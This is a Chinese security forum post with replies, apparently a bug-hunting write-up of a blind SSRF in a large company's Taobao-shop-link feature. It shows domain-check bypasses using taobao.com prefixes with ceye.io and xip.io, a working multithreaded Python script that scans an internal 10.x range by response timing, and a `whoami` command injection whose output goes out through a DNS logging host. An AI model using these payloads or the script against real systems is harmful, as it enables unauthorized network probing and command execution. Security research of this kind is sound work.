用户
搜索
  • TA的每日心情
    擦汗
    2018-9-14 17:45
  • 签到天数: 20 天

    连续签到: 1 天

    [LV.4]经常看看II

    管理员

    知识面,决定看到的攻击面有多广。知识链,决定发动的杀伤链有多

    Rank: 9Rank: 9Rank: 9

    33

    主题

    292

    帖子

    638

    魔法币
    收听
    0
    粉丝
    72
    注册时间
    2016-4-17

    秦i春秋签约作者

    Vulkey_Chen 管理员 知识面,决定看到的攻击面 秦 i春秋签约作者 楼主
    发表于 2018-1-15 15:07:11 1211377

    前言

    2018年了,发现自己2017年所增长的技术相比2016年-2017年实在是很少,希望自己可以认真学习,好好努力,争取早日自己的技术可以独当一面。与君共勉~

    这里记录的是我在挖掘某大型企业时挖掘到的Blind类型SSRF案例,觉得还挺有意思的,所以在这里写下来,方便未来的我来嘲笑现在的我~~

    挖掘流程

    其实说白了,挖掘ssrf就是找那些个关键词(url..),找那些个功能点(转码、翻译、分享…),找那些个带有协议格式的URL参数(http:// , https:// , ftp:// …),在这里不做多的描述,自己心里有点*数就行~

    不相关的话

    在2017年11月末的时候自己偷偷在提醒录上立了一个flag,那就建立自己的WEB漏洞Fuzz框架,很开心自己12月份的时候已经完成了一些基础建设。

    当然这里也有对SSRF的自动化Fuzz,因为鄙人技术太垃圾了,就不过于吹嘘自己的框架了~~

    在之前我也说过可以使用适当的"监控"来做基本的代码审计Fuzz和一些偏门的漏洞Fuzz,这里也包含了SSRF,我的基本思路是使用dnslog、ceye这两平台做监控,根据API回显来判断是否可能存在漏洞,毕竟有些厂商会对服务器请求进行域的限制和过滤,所以只能简单的列出可能,其他的还需要自己来做判断(内网主机发现、内网IP端口探测等等...)。

    后期经过多次的挖掘,慢慢总结了一些丰富框架的思路,除了检测漏洞的模型成立以外,我还建立了bypass模型,因为有些服务器请求(server request)的点会存在过滤,那我针对这些过滤就需要很多的payload来Fuzz~这里采用的是安全脉搏 https://www.secpulse.com/archives/65832.html 这篇文章的思路,生成了11*11一共121种组合payload,记录payload+HTTP响应报文+前后产生的时间来存入mysql数据库,这样也方便人工排查。

    有些小伙伴一定想说:你说了这么多,为什么不放代码?

    回答:只是简单的思路提供,待你长发及腰,代码gayhub见~

    站内爬虫+强大的payload乃漏洞Fuzz之路基本要素

    实际挖掘

    没错我依靠自己的框架发现了2处可能存在ssrf的点,这里发现一处是限制死了,还有一处是商家的只是使用了DNS服务器去做一次查询。

    在这里仔细对这两个点进行测试,大师傅说过挖洞要细心,没错,这里我结合业务顺利的让服务器进行了HTTP请求。

    SSRF的点如上图所示,选择店铺链接地址后进行发包,会进行一次DNS查询,但是不会HTTP请求,我猜测可能是因为后台写了某些规则,使用绕过的思路也无法解决,那么这里的业务是淘宝店铺添加,那去看看淘宝店铺的地址规则,是这样的 -> shop***.taobao.com,我正常的使用淘宝链接地址进行请求发现是添加成功的~那我使用ceye/dnslog泛解析(*.xxx.ceye.io 都会解析到xxx.ceye.io)的设计方式,进行了测试请求(这里的地址是 shop***.taobao.com.xxx.ceye.io),发现ceye平台成功了的获取了请求~再做了一些测试发现,只要地址中有taobao.com的字眼服务器就会进行HTTP请求~其返回报文的正文是(很想截图,但是奈何懒得马赛克脱敏):

    {"result":"fail"}

    这里的SSRF除非是正常的店铺地址会显示商家用户名以外其他的都会返回如上内容,那也就是说明了这里的SSRF类型为Blind,一半Blind类型的SSRF我们可以基于时间来做判断。在这之前我们遇到了一个问题,那就是我们想内网主机存活发现该怎么设置payload才合适?看了我之前给的地址,其实就有一个很好的思路了,那就是 taobao.com.127.0.0.1.xip.io,把127.0.0.1设置为内网ip的dict即可,这里我写了个脚本,但是对于这种大型公司10段的内网IP居多,但是10.0-255.0-255.0-255跑起来很烦,我采用获取其指向内网IP的子域名获取到了10.197.这个段

    经过多次的测试,发现taobao.com.127.0.0.1.xip.io的前后时间为1秒左右:

    随便测试一个不存在的IP taobao.com.10.0.0.0.xip.io的前后时间为34秒左右:

    py脚本建立开始:

    这里使用了如下的模块:

    import requests, time, threading, Queue

    1.内网段字典:

    def IPgen():
        for i in range(0,255):
            for x in range(0,255):
                    Q.put("10.197.{0}.{1}".format(i, x))

    2.请求判断:

    def ssrf():
        while not Q.empty():
            try:
                url = "[url]" #地址
                ip = Q.get() #获取队列Q.put的内容
                querystring = {"shoptype":"taobao_url","accounts":"http://taobao.com.{ip}.xip.io/".format(ip=ip)} #POST传递的参数和值
                headers = {
                    'X-Requested-With': "XMLHttpRequest", #HTTP请求头
                    'Referer': "[Referer]", #HTTP请求头
                    }
                tempTime_a = time.time() #记录开始时间
                response = requests.post(url, headers=headers, params=querystring) #请求
                tempTime_b = time.time() #记录结束时间
                lastTime = str(int(tempTime_b - tempTime_a)) #计算结束时间减去开始时间
                if lastTime < 30 : #判断
                    print "[Yes] {ip}".format(ip=ip) #符合laseTime < 34的条件就输出
            except:
                pass

    3.main:

    if __name__ == '__main__':
        IPgen()
        for i in range(200): #多(200个)线程
            t = threading.Thread(target=ssrf)
            t.start() #线程开始

    脚本开跑,获取到了如下信息:

    哎,奈何没啥可以利用的点,最后反复的查看,发现了一条UA信息:

    居然是curl请求?很有可能是一些系统的排查,这里测试了`whoami`.taobao.com.xxx.ceye.io,经过10分钟之后返回了:

    还真的是一次意外的收获~居然有命令执行了~我猜测这里肯定有一个类似WEB缓存系统的系统存在着~

    End

    还是那句话,细心挖洞才是王道~


    本帖被以下淘专辑推荐:

    gh0stkey,米斯特安全团队核心。
    i春秋社区核心成员之一。
    关注米斯特安全团队(MstLab):www.hi-ourlife.com
    发表于 2018-1-15 17:34:19
    好文章 先mark一下 多谢分享
    使用道具 举报 回复
    发表于 2018-1-15 17:40:43
    mark+学习
    使用道具 举报 回复
    发表于 2018-1-16 11:04:55
    马克 学习
    使用道具 举报 回复
    发表于 2018-1-16 11:05:02
    马克 学习
    使用道具 举报 回复
    发表于 2018-1-16 11:05:10
    马克 学习
    使用道具 举报 回复
    onls辜釉 i春秋作家 春秋认证√作家团颜值担当 i春秋认证 秦 春秋文阁 i春秋签约作者
    6#
    发表于 2018-1-16 11:53:53
    前排膜拜表哥
    信息安全菜鸟/社会主义接班人
    使用道具 举报 回复
    发表于 2018-1-16 15:42:14
    mark+学习
    使用道具 举报 回复
    发表于 2018-1-16 17:06:14
    大表哥要多露脸啊!
    使用道具 举报 回复
    发表于 2018-1-17 13:40:30
    不明所以
    使用道具 举报 回复
    Vulkey_Chen 管理员 知识面,决定看到的攻击面 秦 i春秋签约作者
    10#
    发表于 2018-1-17 21:07:57

    简单的小记~
    gh0stkey,米斯特安全团队核心。
    i春秋社区核心成员之一。
    关注米斯特安全团队(MstLab):www.hi-ourlife.com
    使用道具 举报 回复
    发表于 2018-1-20 20:52:47

    大佬缺个端茶倒水的不
    使用道具 举报 回复
    发表于 2018-9-18 11:26:04
    学习一下~
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册